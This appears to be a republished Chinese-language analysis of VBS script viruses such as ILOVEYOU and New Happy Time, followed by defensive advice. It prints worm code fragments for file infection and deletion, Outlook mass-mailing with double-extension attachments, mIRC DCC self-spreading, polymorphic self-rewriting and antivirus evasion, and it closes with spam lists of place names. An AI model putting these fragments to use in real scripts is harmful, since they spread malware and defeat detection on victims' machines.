佳木斯湛栽影视文化发展公司

主頁 > 知識(shí)庫 > VBS腳本病毒原理分析與防范

VBS腳本病毒原理分析與防范

熱門標(biāo)簽:呼叫中心市場需求 智能手機(jī) 鐵路電話系統(tǒng) 網(wǎng)站文章發(fā)布 服務(wù)器配置 銀行業(yè)務(wù) 檢查注冊(cè)表項(xiàng) 美圖手機(jī)
網(wǎng)絡(luò)的流行,讓我們的世界變得更加美好,但它也有讓人不愉快的時(shí)候。當(dāng)您收到一封主題為“I Love You”的郵件,用興奮得幾乎快發(fā)抖的鼠標(biāo)去點(diǎn)擊附件的時(shí)候;當(dāng)您瀏覽一個(gè)信任的網(wǎng)站之后,發(fā)現(xiàn)打開每個(gè)文件夾的速度非常慢的時(shí)候,您是否察覺病毒已經(jīng)闖進(jìn)了您的世界呢?2000年5月4日歐美爆發(fā)的“愛蟲”網(wǎng)絡(luò)蠕蟲病毒。由于通過電子郵件系統(tǒng)傳播,愛蟲病毒在短短幾天內(nèi)狂襲全球數(shù)百萬計(jì)的電腦。微軟、Intel等在內(nèi)的眾多大型企業(yè)網(wǎng)絡(luò)系統(tǒng)癱瘓,全球經(jīng)濟(jì)損失達(dá)幾十億美元。而去年爆發(fā)的新歡樂時(shí)光病毒至今都讓廣大電腦用戶更是苦不堪言。
    上面提及的兩個(gè)病毒最大的一個(gè)共同特點(diǎn)是:使用VBScript編寫。以愛蟲和新歡樂時(shí)光病毒為典型代表的VBS腳本病毒十分的猖獗,很重要的一個(gè)原因就是其編寫簡單。下面我們就來逐一對(duì)VBS腳本病毒的各個(gè)方面加以分析:

一、Vbs腳本病毒的特點(diǎn)及發(fā)展現(xiàn)狀
    VBS病毒是用VB Script編寫而成,該腳本語言功能非常強(qiáng)大,它們利用Windows系統(tǒng)的開放性特點(diǎn),通過調(diào)用一些現(xiàn)成的Windows對(duì)象、組件,可以直接對(duì)文件系統(tǒng)、注冊(cè)表等進(jìn)行控制,功能非常強(qiáng)大。應(yīng)該說病毒就是一種思想,但是這種思想在用VBS實(shí)現(xiàn)時(shí)變得極其容易。VBS腳本病毒具有如下幾個(gè)特點(diǎn):
1.編寫簡單,一個(gè)以前對(duì)病毒一無所知的病毒愛好者可以在很短的時(shí)間里編出一個(gè)新型病毒來。
2.破壞力大。其破壞力不僅表現(xiàn)在對(duì)用戶系統(tǒng)文件及性能的破壞。他還可以使郵件服務(wù)器崩潰,網(wǎng)絡(luò)發(fā)生嚴(yán)重阻塞。
3.感染力強(qiáng)。由于腳本是直接解釋執(zhí)行,并且它不需要像PE病毒那樣,需要做復(fù)雜的PE文件格式處理,因此這類病毒可以直接通過自我復(fù)制的方式感染其他同類文件,并且自我的異常處理變得非常容易。
4.傳播范圍大。這類病毒通過htm文檔,Email附件或其它方式,可以在很短時(shí)間內(nèi)傳遍世界各地。
5.病毒源碼容易被獲取,變種多。由于VBS病毒解釋執(zhí)行,其源代碼可讀性非常強(qiáng),即使病毒源碼經(jīng)過加密處理后,其源代碼的獲取還是比較簡單。因此,這類病毒變種比較多,稍微改變一下病毒的結(jié)構(gòu),或者修改一下特征值,很多殺毒軟件可能就無能為力。
6.欺騙性強(qiáng)。腳本病毒為了得到運(yùn)行機(jī)會(huì),往往會(huì)采用各種讓用戶不大注意的手段,譬如,郵件的附件名采用雙后綴,如.jpg.vbs,由于系統(tǒng)默認(rèn)不顯示后綴,這樣,用戶看到這個(gè)文件的時(shí)候,就會(huì)認(rèn)為它是一個(gè)jpg圖片文件。
7.使得病毒生產(chǎn)機(jī)實(shí)現(xiàn)起來非常容易。所謂病毒生產(chǎn)機(jī),就是可以按照用戶的意愿,生產(chǎn)病毒的機(jī)器(當(dāng)然,這里指的是程序),目前的病毒生產(chǎn)機(jī),之所以大多數(shù)都為腳本病毒生產(chǎn)機(jī),其中最重要的一點(diǎn)還是因?yàn)槟_本是解釋執(zhí)行的,實(shí)現(xiàn)起來非常容易,具體將在我們后面談及。
正因?yàn)橐陨蠋讉€(gè)特點(diǎn),腳本病毒發(fā)展異常迅猛,特別是病毒生產(chǎn)機(jī)的出現(xiàn),使得生成新型腳本病毒變得非常容易。

二、Vbs腳本病毒原理分析 
1.vbs腳本病毒如何感染、搜索文件
    VBS腳本病毒一般是直接通過自我復(fù)制來感染文件的,病毒中的絕大部分代碼都可以直接附加在其他同類程序的中間,譬如新歡樂時(shí)光病毒可以將自己的代碼附加在.htm文件的尾部,并在頂部加入一條調(diào)用病毒代碼的語句,而愛蟲病毒則是直接生成一個(gè)文件的副本,將病毒代碼拷入其中,并以原文件名作為病毒文件名的前綴,vbs作為后綴。下面我們通過愛蟲病毒的部分代碼具體分析一下這類病毒的感染和搜索原理:
以下是文件感染的部分關(guān)鍵代碼:
Set fso=createobject("scripting.filesystemobject")  '創(chuàng)建一個(gè)文件系統(tǒng)對(duì)象
set self=fso.opentextfile(wscript.scriptfullname,1) '讀打開當(dāng)前文件(即病毒本身)
vbscopy=self.readall          ' 讀取病毒全部代碼到字符串變量vbscopy……  
set ap=fso.opentextfile(目標(biāo)文件.path,2,true) ' 寫打開目標(biāo)文件,準(zhǔn)備寫入病毒代碼
ap.write vbscopy                               ' 將病毒代碼覆蓋目標(biāo)文件
ap.close
set cop=fso.getfile(目標(biāo)文件.path)   '得到目標(biāo)文件路徑
cop.copy(目標(biāo)文件.path  ".vbs")          ' 創(chuàng)建另外一個(gè)病毒文件(以.vbs為后綴)
目標(biāo)文件.delete(true)                            '刪除目標(biāo)文件
    上面描述了病毒文件是如何感染正常文件的:首先將病毒自身代碼賦給字符串變量vbscopy,然后將這個(gè)字符串覆蓋寫到目標(biāo)文件,并創(chuàng)建一個(gè)以目標(biāo)文件名為文件名前綴、vbs為后綴的文件副本,最后刪除目標(biāo)文件。
下面我們具體分析一下文件搜索代碼:
'該函數(shù)主要用來尋找滿足條件的文件,并生成對(duì)應(yīng)文件的一個(gè)病毒副本
sub scan(folder_)    'scan函數(shù)定義,
on error resume next                 '如果出現(xiàn)錯(cuò)誤,直接跳過,防止彈出錯(cuò)誤窗口
set folder_=fso.getfolder(folder_)
set files=folder_.files               ' 當(dāng)前目錄的所有文件集合
for each file in filesext=fso.GetExtensionName(file)                 '獲取文件后綴
  ext=lcase(ext)                  '后綴名轉(zhuǎn)換成小寫字母
  if ext="mp5" then        '如果后綴名是mp5,則進(jìn)行感染。請(qǐng)自己建立相應(yīng)后綴名的文件,最好是非正常后綴名 ,以免破壞正常程序。 
    Wscript.echo (file)
  end if
next
set subfolders=folder_.subfolders
for each subfolder in subfolders    '搜索其他目錄;遞歸調(diào)用
  scan( )  
  scan(subfolder)
next 
end sub 
    上面的代碼就是VBS腳本病毒進(jìn)行文件搜索的代碼分析。搜索部分scan( )函數(shù)做得比較短小精悍,非常巧妙,采用了一個(gè)遞歸的算法遍歷整個(gè)分區(qū)的目錄和文件。

2.vbs腳本病毒通過網(wǎng)絡(luò)傳播的幾種方式及代碼分析 
    VBS腳本病毒之所以傳播范圍廣,主要依賴于它的網(wǎng)絡(luò)傳播功能,一般來說,VBS腳本病毒采用如下幾種方式進(jìn)行傳播:
1)通過Email附件傳播
    這是一種用的非常普遍的傳播方式,病毒可以通過各種方法拿到合法的Email地址,最常見的就是直接取outlook地址簿中的郵件地址,也可以通過程序在用戶文檔(譬如htm文件)中搜索Email地址。
下面我們具體分析一下VBS腳本病毒是如何做到這一點(diǎn)的:
Function mailBroadcast()
on error resume next
wscript.echo
Set outlookApp = CreateObject("Outlook.Application") //創(chuàng)建一個(gè)OUTLOOK應(yīng)用的對(duì)象
If outlookApp= "Outlook" Then
  Set mapiObj=outlookApp.GetNameSpace("MAPI")   //獲取MAPI的名字空間
  Set addrList= mapiObj.AddressLists                //獲取地址表的個(gè)數(shù)
  For Each addr In addrList
   If  addr.AddressEntries.Count > 0 Then
     addrEntCount = addr.AddressEntries.Count //獲取每個(gè)地址表的Email記錄數(shù)
     For addrEntIndex= 1 To addrEntCount       //遍歷地址表的Email地址
       Set item = outlookApp.CreateItem(0)      //獲取一個(gè)郵件對(duì)象實(shí)例
       Set addrEnt = addr.AddressEntries(addrEntIndex)   //獲取具體Email地址
       item.To = addrEnt.Address                     //填入收信人地址        item.Subject = "病毒傳播實(shí)驗(yàn)"    //寫入郵件標(biāo)題
       item.Body = "這里是病毒郵件傳播測試,收到此信請(qǐng)不要慌張!"  //寫入文件內(nèi)容
       Set attachMents=item.Attachments   //定義郵件附件
       attachMents.Add fileSysObj.GetSpecialFolder(0)  "\test.jpg.vbs"
       item.DeleteAfterSubmit = True      //信件提交后自動(dòng)刪除
       If item.To > "" Then  
        item.Send                     //發(fā)送郵件
        shellObj.regwrite "HKCU\software\Mailtest\mailed", "1" //病毒標(biāo)記,以免重復(fù)感染
       End If
     Next
   End If
  Next
End if
End Function

2)通過局域網(wǎng)共享傳播
    局域網(wǎng)共享傳播也是一種非常普遍并且有效的網(wǎng)絡(luò)傳播方式。一般來說,為了局域網(wǎng)內(nèi)交流方便,一定存在不少共享目錄,并且具有可寫權(quán)限,譬如win2000創(chuàng)建共享時(shí),默認(rèn)就是具有可寫權(quán)限。這樣病毒通過搜索這些共享目錄,就可以將病毒代碼傳播到這些目錄之中。
    在VBS中,有一個(gè)對(duì)象可以實(shí)現(xiàn)網(wǎng)上鄰居共享文件夾的搜索與文件操作。我們利用該對(duì)象就可以達(dá)到傳播的目的。
welcome_msg = "網(wǎng)絡(luò)連接搜索測試"
Set WSHNetwork = WScript.CreateObject("WScript.Network") '創(chuàng)建一個(gè)網(wǎng)絡(luò)對(duì)象
Set oPrinters = WshNetwork.EnumPrinterConnections   '創(chuàng)建一個(gè)網(wǎng)絡(luò)打印機(jī)連接列表
WScript.Echo "Network printer mappings:"
For i = 0 to oPrinters.Count - 1 Step 2     '顯示網(wǎng)絡(luò)打印機(jī)連接情況
  WScript.Echo "Port "  oPrinters.Item(i)  " = "  oPrinters.Item(i+1)
Next 
Set colDrives = WSHNetwork.EnumNetworkDrives   '創(chuàng)建一個(gè)網(wǎng)絡(luò)共享連接列表
If colDrives.Count = 0 Then
  MsgBox "沒有可列出的驅(qū)動(dòng)器。", vbInformation + vbOkOnly,welcome_msg 
Else
  strMsg = "當(dāng)前網(wǎng)絡(luò)驅(qū)動(dòng)器連接: "  CRLF
  For i = 0 To colDrives.Count - 1 Step 2 
   strMsg = strMsg  Chr(13)  Chr(10)  colDrives(i)  Chr(9)  colDrives(i + 1)
  Next
  MsgBox strMsg, vbInformation + vbOkOnly, welcome_msg'顯示當(dāng)前網(wǎng)絡(luò)驅(qū)動(dòng)器連接
End If
    上面是一個(gè)用來尋找當(dāng)前打印機(jī)連接和網(wǎng)絡(luò)共享連接并將它們顯示出來的完整腳本程序。在知道了共享連接之后,我們就可以直接向目標(biāo)驅(qū)動(dòng)器讀寫文件了。

3)通過感染htm、asp、jsp、php等網(wǎng)頁文件傳播
    如今,WWW服務(wù)已經(jīng)變得非常普遍,病毒通過感染htm等文件,勢(shì)必會(huì)導(dǎo)致所有訪問過該網(wǎng)頁的用戶機(jī)器感染病毒。
病毒之所以能夠在htm文件中發(fā)揮強(qiáng)大功能,采用了和絕大部分網(wǎng)頁惡意代碼相同的原理?;旧?,它們采用了相同的代碼,不過也可以采用其它代碼,這段代碼是病毒FSO,WSH等對(duì)象能夠在網(wǎng)頁中運(yùn)行的關(guān)鍵。在注冊(cè)表HKEY_CLASSES_ROOT\CLSID\下我們可以找到這么一個(gè)主鍵{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B},注冊(cè)表中對(duì)它他的說明是“Windows Script Host Shell Object”,同樣,我們也可以找到{0D43FE01-F093-11CF-8940-00A0C9054228},注冊(cè)表對(duì)它的說明是“FileSystem Object”,一般先要對(duì)COM進(jìn)行初始化,在獲取相應(yīng)的組件對(duì)象之后,病毒便可正確地使用FSO、WSH兩個(gè)對(duì)象,調(diào)用它們的強(qiáng)大功能。代碼如下所示:
Set Apple0bject = document.applets("KJ_guest")
Apple0bject.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}")
Apple0bject.createInstance()             '創(chuàng)建一個(gè)實(shí)例
Set WsShell Apple0bject.Get0bject()
Apple0bject.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}")
Apple0bject.createInstance()             '創(chuàng)建一個(gè)實(shí)例
Set FSO = Apple0bject.Get0bject()
對(duì)于其他類型文件,這里不再一一分析。

4)通過IRC聊天通道傳播
    病毒通過IRC傳播一般來說采用以下代碼(以MIRC為例)
Dim mirc 
set fso=CreateObject("Scripting.FileSystemObject")
set mirc=fso.CreateTextFile("C:\mirc\script.ini")   '創(chuàng)建文件script.ini
fso.CopyFile Wscript.ScriptFullName, "C:\mirc\attachment.vbs", True '將病毒文件備份到attachment.vbs
mirc.WriteLine "[script]"
mirc.WriteLine "n0=on 1:join:*.*: { if ( $nick !=$me ) {halt} /dcc send $nick C:\mirc\attachment.vbs }" 
        '利用命令/ddc send $nick attachment.vbs給通道中的其他用戶傳送病毒文件
mirc.Close
    以上代碼用來往Script.ini文件中寫入一行代碼,實(shí)際中還會(huì)寫入很多其他代碼。Script.ini中存放著用來控制IRC會(huì)話的命令,這個(gè)文件里面的命令是可以自動(dòng)執(zhí)行的。譬如,“歌蟲”病毒TUNE.VBS就會(huì)修改c:\mirc\script.ini 和 c:\mirc\mirc.ini,使每當(dāng)IRC用戶使用被感染的通道時(shí)都會(huì)收到一份經(jīng)由DDC發(fā)送的TUNE.VBS。同樣,如果Pirch98已安裝在目標(biāo)計(jì)算機(jī)的c:\pirch98目錄下,病毒就會(huì)修改c:\pirch98\events.ini和c:\pirch98\pirch98.ini,使每當(dāng)IRC用戶使用被感染的通道時(shí)都會(huì)收到一份經(jīng)由DDC發(fā)送的TUNE.VBS。
    另外病毒也可以通過現(xiàn)在廣泛流行的KaZaA進(jìn)行傳播。病毒將病毒文件拷貝到KaZaA的默認(rèn)共享目錄中,這樣,當(dāng)其他用戶訪問這臺(tái)機(jī)器時(shí),就有可能下載該病毒文件并執(zhí)行。這種傳播方法可能會(huì)隨著KaZaA這種點(diǎn)對(duì)點(diǎn)共享工具的流行而發(fā)生作用。
還有一些其他的傳播方法,我們這里不再一一列舉。


3.VBS腳本病毒如何獲得控制權(quán)
    如何獲取控制權(quán)?這一個(gè)是一個(gè)比較有趣的話題,而VBS腳本病毒似乎將這個(gè)話題發(fā)揮的淋漓盡致。筆者在這里列出幾種典型的方法:
1)修改注冊(cè)表項(xiàng)
    windows在啟動(dòng)的時(shí)候,會(huì)自動(dòng)加載HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run項(xiàng)下的各鍵值所執(zhí)向的程序。腳本病毒可以在此項(xiàng)下加入一個(gè)鍵值指向病毒程序,這樣就可以保證每次機(jī)器啟動(dòng)的時(shí)候拿到控制權(quán)。vbs修改貯冊(cè)表的方法比較簡單,直接調(diào)用下面語句即可。
wsh.RegWrite(strName, anyvalue [,strType])
2)通過映射文件執(zhí)行方式
    譬如,我們新歡樂時(shí)光將dll的執(zhí)行方式修改為wscript.exe。甚至可以將exe文件的映射指向病毒代碼。
3)欺騙用戶,讓用戶自己執(zhí)行
    這種方式其實(shí)和用戶的心理有關(guān)。譬如,病毒在發(fā)送附件時(shí),采用雙后綴的文件名,由于默認(rèn)情況下,后綴并不顯示,舉個(gè)例子,文件名為beauty.jpg.vbs的vbs程序顯示為beauty.jpg,這時(shí)用戶往往會(huì)把它當(dāng)成一張圖片去點(diǎn)擊。同樣,對(duì)于用戶自己磁盤中的文件,病毒在感染它們的時(shí)候,將原有文件的文件名作為前綴,vbs作為后綴產(chǎn)生一個(gè)病毒文件,并刪除原來文件,這樣,用戶就有可能將這個(gè)vbs文件看作自己原來的文件運(yùn)行。
4)desktop.ini和folder.htt互相配合
    這兩個(gè)文件可以用來配置活動(dòng)桌面,也可以用來自定義文件夾。如果用戶的目錄中含有這兩個(gè)文件,當(dāng)用戶進(jìn)入該目錄時(shí),就會(huì)觸發(fā)folder.htt中的病毒代碼。這是新歡樂時(shí)光病毒采用的一種比較有效的獲取控制權(quán)的方法。并且利用folder.htt,還可能觸發(fā)exe文件,這也可能成為病毒得到控制權(quán)的一種有效方法!
    病毒獲得控制權(quán)的方法還有很多,這方面作者發(fā)揮的余地也比較大。

4.vbs腳本病毒對(duì)抗反病毒軟件的幾種技巧
    病毒要生存,對(duì)抗反病毒軟件的能力也是必需的。一般來說,VBS腳本病毒采用如下幾種對(duì)抗反病毒軟件的方法:
1)自加密
譬如,新歡樂時(shí)光病毒,它可以隨機(jī)選取密鑰對(duì)自己的部分代碼進(jìn)行加密變換,使得每次感染的病毒代碼都不一樣,達(dá)到了多態(tài)的效果。這給傳統(tǒng)的特征值查毒法帶來了一些困難。病毒也還可以進(jìn)一步的采用變形技術(shù),使得每次感染后的加密病毒的解密后的代碼都不一樣。
下面看一個(gè)簡單的vbs腳本變形引擎(來自flyshadow)
Randomize
Set Of = CreateObject("Scripting.FileSystemObject")    '創(chuàng)建文件系統(tǒng)對(duì)象
vC = Of.OpenTextFile(WScript.ScriptFullName, 1).Readall    '讀取自身代碼
fS = Array("Of", "vC", "fS", "fSC")   '定義一個(gè)即將被替換字符的數(shù)組
For fSC = 0 To 3
vC = Replace(vC, fS(fSC), Chr((Int(Rnd * 22) + 65))  Chr((Int(Rnd * 22) + 65))  Chr((Int(Rnd * 22) + 65))  Chr((Int(Rnd * 22) + 65)))  '取4個(gè)隨機(jī)字符替換數(shù)組fS中的字符串
Next
Of.OpenTextFile(WScript.ScriptFullName, 2, 1).Writeline vC  '將替換后的代碼寫回文件
    上面這段代碼使得該VBS文件在每次運(yùn)行后,其Of,vC,fS,fSC四字符串都會(huì)用隨機(jī)字符串來代替,這在很大程度上可以防止反病毒軟件用特征值查毒法將其查出。
2)巧妙運(yùn)用Execute函數(shù)
    用過VBS程序的朋友是否會(huì)覺得奇怪:當(dāng)一個(gè)正常程序中用到了FileSystemObject對(duì)象的時(shí)候,有些反病毒軟件會(huì)在對(duì)這個(gè)程序進(jìn)行掃描的時(shí)候報(bào)告說此Vbs文件的風(fēng)險(xiǎn)為高,但是有些VBS腳本病毒同樣采用了FileSystemObject對(duì)象,為什么卻又沒有任何警告呢?原因很簡單,就是因?yàn)檫@些病毒巧妙的運(yùn)用了Execute方法。有些殺毒軟件檢測VBS病毒時(shí),會(huì)檢查程序中是否聲明使用了FileSystemObject對(duì)象,如果采用了,這會(huì)發(fā)出報(bào)警。如果病毒將這段聲明代碼轉(zhuǎn)化為字符串,然后通過Execute(String)函數(shù)執(zhí)行,就可以躲避某些反病毒軟件。
3)改變某些對(duì)象的聲明方法
    譬如fso=createobject("scripting.filesystemobject"),我們將其改變?yōu)?
fso=createobject("script"+"ing.filesyste"+"mobject"),這樣反病毒軟件對(duì)其進(jìn)行靜態(tài)掃描時(shí)就不會(huì)發(fā)現(xiàn)filesystemobject對(duì)象。
4)直接關(guān)閉反病毒軟件
    VBS腳本功能強(qiáng)大,它可以直接在搜索用戶進(jìn)程然后對(duì)進(jìn)程名進(jìn)行比較,如果發(fā)現(xiàn)是反病毒軟件的進(jìn)程就直接關(guān)閉,并對(duì)它的某些關(guān)鍵程序進(jìn)行刪除。

5.Vbs病毒生產(chǎn)機(jī)的原理介紹 
    所謂病毒生產(chǎn)機(jī)就是指可以直接根據(jù)用戶的選擇產(chǎn)生病毒源代碼的軟件。在很多人看來這或許不可思議,其實(shí)對(duì)腳本病毒而言它的實(shí)現(xiàn)非常簡單。
    腳本語言是解釋執(zhí)行的、不需要編譯,程序中不需要什么校驗(yàn)和定位,每條語句之間分隔得比較清楚。這樣,先將病毒功能做成很多單獨(dú)的模塊,在用戶做出病毒功能選擇后,生產(chǎn)機(jī)只需要將相應(yīng)的功能模塊拼湊起來,最后再作相應(yīng)的代碼替換和優(yōu)化即可。由于篇幅關(guān)系和其他原因,這里不作詳細(xì)介紹。

三、如何防范vbs腳本病毒 
1.如何從樣本中提取(加密)腳本病毒 
    對(duì)于沒有加密的腳本病毒,我們可以直接從病毒樣本中找出來,現(xiàn)在介紹一下如何從病毒樣本中提取加密VBS腳本病毒,這里我們以新歡樂時(shí)光為例。
用JediEdit打開folder.htt。我們發(fā)現(xiàn)這個(gè)文件總共才93行,第一行BODY onload="vbscript:KJ_start()">,幾行注釋后,以html>開始,/html>節(jié)尾。相信每個(gè)人都知道這是個(gè)什么類型的文件吧! 
    第87行到91行,是如下語句:
87:script language=vbscript> 
88:ExeString = "Afi FkSeboa)EqiiQbtq)S^pQbtq)AadobaPfdj)>mlibL^gb`p)CPK...;后面省略,很長!
89:Execute("Dim KeyArr(3),ThisText"vbCrLf"KeyArr(0) = 3"vbCrLf"KeyArr(1) = 3"vbCrLf"KeyArr(2) = 3"vbCrLf"KeyArr(3) = 4"vbCrLf"For i=1 To Len(ExeString)"vbCrLf"TempNum = Asc(Mid(ExeString,i,1))"vbCrLf"If TempNum = 18 Then"vbCrLf"TempNum = 34"vbCrLf"End If"vbCrLf"TempChar = Chr(TempNum + KeyArr(i Mod 4))"vbCrLf"If TempChar = Chr(28) Then"vbCrLf"TempChar = vbCr"vbCrLf"ElseIf TempChar = Chr(29) Then"vbCrLf"TempChar = vbLf"vbCrLf"End If"vbCrLf"ThisText = ThisText  TempChar"vbCrLf"Next") 90:Execute(ThisText) 91:/script> 
    第87和91行不用解釋了,第88行是一個(gè)字符串的賦值,很明顯這是被加密過的病毒代碼??纯?9行最后的一段代碼ThisText = ThisText  TempChar,再加上下面那一行,我們肯定能夠猜到ThisText里面放的是病毒解密代碼(熟悉vbs的兄弟當(dāng)然也可以分析一下這段解密代碼,too simple!就算完全不看代碼也應(yīng)該可以看得出來的)。第90行是執(zhí)行剛才ThisText中的那段代碼(經(jīng)過解密處理后的代碼)。
那么,下一步該怎么做呢?很簡單,我們只要在病毒代碼解密之后,將ThisText的內(nèi)容輸出到一個(gè)文本文件就可以解決了。由于上面幾行是vbscript,于是我創(chuàng)建了如下一個(gè).txt文件:
    首先,copy第88、89兩行到剛才建立的.txt文件,當(dāng)然如果你愿意看看新歡樂時(shí)光的執(zhí)行效果,你也可以在最后輸入第90行。然后在下面一行輸入創(chuàng)建文件和將ThisText寫入文件vbs代碼,整個(gè)文件如下所示: 
ExeString = "Afi...  ' 第88行代碼 Execute("Dim KeyAr... ' 第89行代碼 
set fso=createobject("scripting.filesystemobject") ' 創(chuàng)建一個(gè)文件系統(tǒng)對(duì)象 
set virusfile=fso.createtextfile("resource.log",true) ' 創(chuàng)建一個(gè)新文件resource.log,用以存放解密后的病毒代碼 virusfile.writeline(ThisText)  ' 將解密后的代碼寫入resource.log 
    OK!就這么簡單,保存文件,將該文件后綴名.txt改為.vbs(.vbe也可以),雙擊,你會(huì)發(fā)現(xiàn)該文件目錄下多了一個(gè)文件resource.log,打開這個(gè)文件,怎么樣?是不是“新歡樂時(shí)光”的源代碼??!

2.vbs腳本病毒的弱點(diǎn)
    vbs腳本病毒由于其編寫語言為腳本,因而它不會(huì)像PE文件那樣方便靈活,它的運(yùn)行是需要條件的(不過這種條件默認(rèn)情況下就具備了)。筆者認(rèn)為,VBS腳本病毒具有如下弱點(diǎn):
1)絕大部分VBS腳本病毒運(yùn)行的時(shí)候需要用到一個(gè)對(duì)象:FileSystemObject
2)VBScript代碼是通過Windows Script Host來解釋執(zhí)行的。
3)VBS腳本病毒的運(yùn)行需要其關(guān)聯(lián)程序Wscript.exe的支持。
4)通過網(wǎng)頁傳播的病毒需要ActiveX的支持
5)通過Email傳播的病毒需要OE的自動(dòng)發(fā)送郵件功能支持,但是絕大部分病毒都是以Email為主要傳播方式的。

3.如何預(yù)防和解除vbs腳本病毒
    針對(duì)以上提到的VBS腳本病毒的弱點(diǎn),筆者提出如下集中防范措施:
1)禁用文件系統(tǒng)對(duì)象FileSystemObject
方法:用regsvr32 scrrun.dll /u這條命令就可以禁止文件系統(tǒng)對(duì)象。其中regsvr32是Windows\System下的可執(zhí)行文件?;蛘咧苯硬檎襰crrun.dll文件刪除或者改名。
還有一種方法就是在注冊(cè)表中HKEY_CLASSES_ROOT\CLSID\下找到一個(gè)主鍵{0D43FE01-F093-11CF-8940-00A0C9054228}的項(xiàng),咔嚓即可。
2)卸載Windows Scripting Host
在Windows 98中(NT 4.0以上同理),打開[控制面板]→[添加/刪除程序]→[Windows安裝程序]→[附件],取消“Windows Scripting Host”一項(xiàng)。
和上面的方法一樣,在注冊(cè)表中HKEY_CLASSES_ROOT\CLSID\下找到一個(gè)主鍵{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}的項(xiàng),咔嚓。
3)刪除VBS、VBE、JS、JSE文件后綴名與應(yīng)用程序的映射
點(diǎn)擊[我的電腦]→[查看]→[文件夾選項(xiàng)]→[文件類型],然后刪除VBS、VBE、JS、JSE文件后綴名與應(yīng)用程序的映射。
4)在Windows目錄中,找到WScript.exe,更改名稱或者刪除,如果你覺得以后有機(jī)會(huì)用到的話,最好更改名稱好了,當(dāng)然以后也可以重新裝上。
5)要徹底防治VBS網(wǎng)絡(luò)蠕蟲病毒,還需設(shè)置一下你的瀏覽器。我們首先打開瀏覽器,單擊菜單欄里“Internet 選項(xiàng)”安全選項(xiàng)卡里的[自定義級(jí)別]按鈕。把“ActiveX控件及插件”的一切設(shè)為禁用,這樣就不怕了。呵呵,譬如新歡樂時(shí)光的那個(gè)ActiveX組件如果不能運(yùn)行,網(wǎng)絡(luò)傳播這項(xiàng)功能就玩完了。
6)禁止OE的自動(dòng)收發(fā)郵件功能
7)由于蠕蟲病毒大多利用文件擴(kuò)展名作文章,所以要防范它就不要隱藏系統(tǒng)中已知文件類型的擴(kuò)展名。Windows默認(rèn)的是“隱藏已知文件類型的擴(kuò)展名稱”,將其修改為顯示所有文件類型的擴(kuò)展名稱。
8)將系統(tǒng)的網(wǎng)絡(luò)連接的安全級(jí)別設(shè)置至少為“中等”,它可以在一定程度上預(yù)防某些有害的Java程序或者某些ActiveX組件對(duì)計(jì)算機(jī)的侵害。
9)呵呵,最后一項(xiàng)不說大家也應(yīng)該知道了,殺毒軟件確實(shí)很必要,盡管有些殺毒軟件挺讓廣大用戶失望,不過,選擇是雙方的哦。在這個(gè)病毒橫飛的網(wǎng)絡(luò),如果您的機(jī)器沒有裝上殺毒軟件我覺得確實(shí)挺不可思議的。

四、對(duì)所有腳本類病毒發(fā)展的展望
    隨著網(wǎng)絡(luò)的飛速發(fā)展,網(wǎng)絡(luò)蠕蟲病毒開始流行,而VBS腳本蠕蟲則更加突出,不僅數(shù)量多,而且威力大。由于利用腳本編寫病毒比較簡單,除了將繼續(xù)流行目前的VBS腳本病毒外,將會(huì)逐漸出現(xiàn)更多的其它腳本類病毒,譬如PHP,JS,Perl病毒等。
    但是腳本并不是真正病毒技術(shù)愛好者編寫病毒的最佳工具,并且腳本病毒解除起來比較容易、相對(duì)容易防范。筆者認(rèn)為,腳本病毒仍將繼續(xù)流行,但是能夠具有像愛蟲、新歡樂時(shí)光那樣大影響的腳本蠕蟲病毒只是少數(shù)。
您可能感興趣的文章:
  • VBS.Runauto腳本病毒分析篇
  • vbs病毒制作之一復(fù)制自身的vbs腳本
  • Trojan.DL.VBS.Agent.cpb(k[1].js)腳本病毒的解決方法
  • vbs腳本病毒生成器 下載
  • 對(duì)一個(gè)vbs腳本病毒的病毒原理分析

標(biāo)簽:滄州 樂山 紅河 新疆 長治 沈陽 河南 上海

巨人網(wǎng)絡(luò)通訊聲明:本文標(biāo)題《VBS腳本病毒原理分析與防范》,本文關(guān)鍵詞  ;如發(fā)現(xiàn)本文內(nèi)容存在版權(quán)問題,煩請(qǐng)?zhí)峁┫嚓P(guān)信息告之我們,我們將及時(shí)溝通與處理。本站內(nèi)容系統(tǒng)采集于網(wǎng)絡(luò),涉及言論、版權(quán)與本站無關(guān)。
  • 相關(guān)文章
  • 收縮
    • 微信客服
    • 微信二維碼
    • 電話咨詢

    • 400-1100-266
    山东省| 闵行区| 乡城县| 泰州市| 常德市| 固始县| 临沭县| 蕲春县| 成都市| 正安县| 钟山县| 南宫市| 云安县| 运城市| 个旧市| 仁布县| 仙游县| 开远市| 衡阳市| 班玛县| 蒲城县| 利津县| 从江县| 瑞安市| 宁远县| 当雄县| 通化县| 新密市| 鄂尔多斯市| 突泉县| 靖江市| 南乐县| 襄汾县| 邓州市| 扬州市| 肃南| 和政县| 三门峡市| 图木舒克市| 新和县| 阿尔山市|